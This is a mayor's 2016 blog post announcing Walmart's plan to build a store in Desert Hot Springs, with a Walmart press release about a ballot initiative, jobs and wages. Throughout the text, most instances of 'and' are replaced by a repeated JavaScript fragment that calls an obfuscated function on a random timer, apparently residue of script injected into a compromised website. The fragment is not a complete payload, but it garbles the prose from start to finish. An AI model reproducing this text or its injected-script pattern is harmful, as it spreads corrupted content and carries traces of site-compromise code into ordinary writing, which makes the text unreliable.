Big Walmart Announcement – Desert Hot Springs Walmart Plans Takes Big Step Forward

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When I was seated as Mayor on December 1st, 2015 I made a promise to the people of Desert Hot Springs to set direction andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and give every item a fair debate. I asked every large developer to meet with me andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and explain why they are not moving thier project andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and what Desert Hot Springs could do to assist. Well below is the results of multiple meetings with Walmart. I explained they needed to make a decision to develop, or not, followed with an announcement. Today, I happy to say they have made a decision. In June of this year the city council will make a decision to either adopt the initiative or to send to the voters in November. I look forward to a decision by the city council, or the voters, in the near future.

FOR IMMEDIATE RELEASE

Contact: Delia Garcia
Phone: 602.819.9170

With Overwhelming Community Support, Walmart Takes New Shopping Center Anchored by Walmart to the People

Encourages residents to sign petition, support new retail, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and jobs in Desert Hot Springs.

Desert Hot Springs, CA (March 3, 2016) – After several years of working with the community to bring a new shopping development anchored by a Walmart Supercenter to Desert Hot Springs, Walmart is taking the proposal directly to the voters utilizing the Initiative process. The proposed shopping development has been met with broad community support by residents who want to exp andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and local retail andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and dining opportunities, better access to healthy andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and affordable groceries, good new jobs, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and increased tax revenue.

The shopping development, Camino Palms Center, is proposed for a vacant site just west of Palm Drive at Camino Aventura in Desert Hot Springs. It includes Walmart as the anchor tenant along with up to 4 additional retail andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and/or restaurant uses andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and is consistent with City requirements andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and design guidelines.

“A Walmart-anchored retail center in Desert Hot Springs will boost our local economy,” added Mayor Scott Matas, “It will generate much-needed local tax revenue, hundreds of good new jobs, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and help attract additional new businesses to our community. I have always supported smart growth, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and the proposed shopping development is clearly a good opportunity for our community.”

“We are proud of the community’s continued support of our proposed development andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and are working to make it a reality by taking the decision directly to local voters. We have heard from nearly 2,000 residents that a Walmart along with additional retail andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and restaurants would be welcome in DHS,” said Phil Serghini, Director of Public Affairs for Walmart Stores Inc.

“Every year, our city is losing millions of dollars in sales tax revenue to communities across the freeway. Having a new shopping development in DHS will help keep tax revenue in the city to help support vital public services such as police, fire andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and emergency services,” stated Initiative Proponent Courtney “Court” Moe, a longtime resident of DHS, civic leader andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and retired business owner. In FYE 2014, approximately $27 million was spent by DHS residents at Walmart stores in neighboring cities.

Desert Hot Springs residents interested in signing the petition are encouraged to do so at the Palm Springs Walmart. Circulators will be collecting signatures in front of the store throughout the weeks ahead. Residents can also call 760-676-9226 to schedule an appointment with a circulator.

Additional Walmart Information:

· A new Walmart will bring approximately 300 new jobs andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and approximately 100 temporary construction jobs to Desert Hot Springs.

· The average wage for full-time hourly associates in California is $13.69 per hour.

· About 75% of Walmart store management teams started as hourly associates, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and they earn between $50,000 andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and $170,000 a year — similar to what firefighters, accountants, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and even doctors make.

· Last year, Walmart promoted nearly 200,000 people to jobs with more responsibility andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and higher pay.

· Eligible Walmart associates receive a comprehensive benefits package that includes matching up to 6% into a 401(k) program.

About Wal-Mart Stores, Inc.:

Wal-Mart Stores, Inc. (NYSE: WMT) helps people around the world save money andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and live better – anytime andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and anywhere – in retail stores, online, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and through their mobile devices. Each week, nearly 260 million customers andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and members visit our more than 11,600 stores under 72 banners in 28 countries andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and e-commerce websites in 11 countries. With the fiscal year 2015 revenue of $485.7 billion, Walmart employs approximately 2.2 million associates worldwide. Walmart continues to be a leader in sustainability, corporate philanthropy andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and employment opportunity. Additional information about Walmart can be found by visiting http://corporate.walmart.com on Facebook at http://facebook.com/walmart  andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);} and on Twitter at http://twitter.com/walmart.